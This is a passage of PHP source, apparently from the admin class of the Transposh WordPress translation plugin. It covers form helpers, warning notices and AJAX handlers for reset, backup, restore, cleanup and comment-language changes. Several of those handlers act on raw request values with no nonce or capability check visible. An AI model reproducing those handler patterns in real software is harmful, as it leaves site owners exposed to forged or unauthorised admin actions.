"<h3><img width=\"16\" height=\"16\" src=\"{$this->transposh->transposh_plugin_url}/img/{$head[0]}\"> {$head[1]}$help</h3>"; } else { echo "<h3> $head $help</h3>"; } } /** * Display a checkbox for boolean value * @param transposh_option $tpo A transposh option boolean object * @param string $head * @param string $text */ private function checkbox($tpo, $head, $text) { $this->header($head); echo '<input type="checkbox" value="1" name="' . $tpo->get_name() . '" ' . checked($tpo->get_value(), true, false) . '/> ' . $text; } /** * Display a select * @param transposh_option $tpo * @param string $label * @param array $options * @param boolean $use_key */ private function select($tpo, $head, $label, $options, $use_key = true) { $this->header($head); echo '<label for="' . $tpo->get_name() . '">' . $label . '<select name="' . $tpo->get_name() . '">'; foreach ($options as $key => $text) { echo '<option value="' . ($use_key ? $key : $text) . '"' . selected($tpo->get_value(), ($use_key ? $key : $text), false) . '>' . $text . '</option>'; } echo '</select>' . '</label>'; } private function textinput($tpo, $head, $label, $length = 35, $help = '') { $this->header($head, $help); echo $label . ': <input type="text" size="' . $length . '" class="regular-text" ' . $tpo->post_value_id_name() . '/>'; } /** UTILITY FUNCTIONS END * */ function notices() { if ((int) ini_get('memory_limit') < 64) { $this->add_warning('tp_mem_warning', sprintf(__('Your current PHP memory limit of %s is quite low, if you experience blank pages please consider increasing it.', TRANSPOSH_TEXT_DOMAIN), ini_get('memory_limit')) . ' <a href="http://transposh.org/faq#blankpages">' . __('Check Transposh FAQs', TRANSPOSH_TEXT_DOMAIN) . '</a>'); } if ($this->page && !(class_exists('Memcache') /* !!&& $this->memcache->connect(TP_MEMCACHED_SRV, TP_MEMCACHED_PORT) */) && !function_exists('apc_fetch') && !function_exists('xcache_get') && !function_exists('eaccelerator_get')) { $this->add_warning('tp_cache_warning', __('We were not able to find a supported in-memory caching engine, installing one can improve performance.', TRANSPOSH_TEXT_DOMAIN) . ' <a href="http://transposh.org/faq#performance">' . __('Check Transposh FAQs', TRANSPOSH_TEXT_DOMAIN) . '</a>', 'updated'); } } function add_warning($id, $message, $level = 'error') { if (!$this->transposh->options->get_transposh_admin_hide_warning($id)) { //$this->add_warning_script(); wp_enqueue_script('transposh_warningclose', $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_JS . '/admin/warningclose.js', array('jquery'), TRANSPOSH_PLUGIN_VER, true); echo '<div class="' . $level . '"><p>⚠ ' . $message . '<a id="' . $id . '" href="#" class="warning-close" style="float:' . $this->localeright . '; margin-' . $this->localeleft . ': .3em;">' . __('Hide Notice', TRANSPOSH_TEXT_DOMAIN) . '</a>' . '</p></div>'; } } function comment_row_actions($actions, $comment) { $comment_lang = get_comment_meta($comment->comment_ID, 'tp_language', true); if (!$comment_lang) { $text = __('Unset', TRANSPOSH_TEXT_DOMAIN); } else { $text = transposh_consts::get_language_name($comment_lang) . " - " . transposh_consts::get_language_orig_name($comment_lang); } $actions['language'] = __('Language', TRANSPOSH_TEXT_DOMAIN) . "(<a data-cid=\"{$comment->comment_ID}\" data-lang=\"{$comment_lang}\" href=\"\" onclick=\"return false\">$text</a>)"; return $actions; } // ajax stuff! function on_ajax_tp_close_warning() { $this->transposh->options->set_transposh_admin_hide_warning($_POST['id']); $this->transposh->options->update_options(); die(); // this is required to return a proper result } function on_ajax_tp_reset() { $this->transposh->options->reset_options(); die(); } function on_ajax_tp_backup() { $this->transposh->run_backup(); die(); } // Start restore on demand function on_ajax_tp_restore() { $this->transposh->run_restore(); die(); } // Start cleanup on demand function on_ajax_tp_cleanup() { $this->transposh->database->cleanup($_POST['days']); die(); } // Start maint function on_ajax_tp_maint() { $this->transposh->database->db_maint(); die(); } // Start full translation function on_ajax_tp_translate_all() { // get all ids in need of translation global $wpdb; $page_ids = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE (post_type='page' OR post_type='post') AND (post_status='publish' OR post_status='private') ORDER BY ID DESC"); // only high capabilities users can... // add a fake post to translate things such as tags if (!current_user_can('edit_post', $page_ids[0])) return; $page_ids[] = "-555"; echo json_encode($page_ids); die(); } // getting phrases of a post (if we are in admin) function on_ajax_tp_post_phrases() { $this->transposh->postpublish->get_post_phrases($_GET['post']); die(); } // Handle comments language change on the admin side function on_ajax_tp_comment_lang() { delete_comment_meta($_GET['cid'], 'tp_language'); if ($_GET['lang']) add_comment_meta($_GET['cid'], 'tp_language', $_GET['lang'], true); die(); } } ?>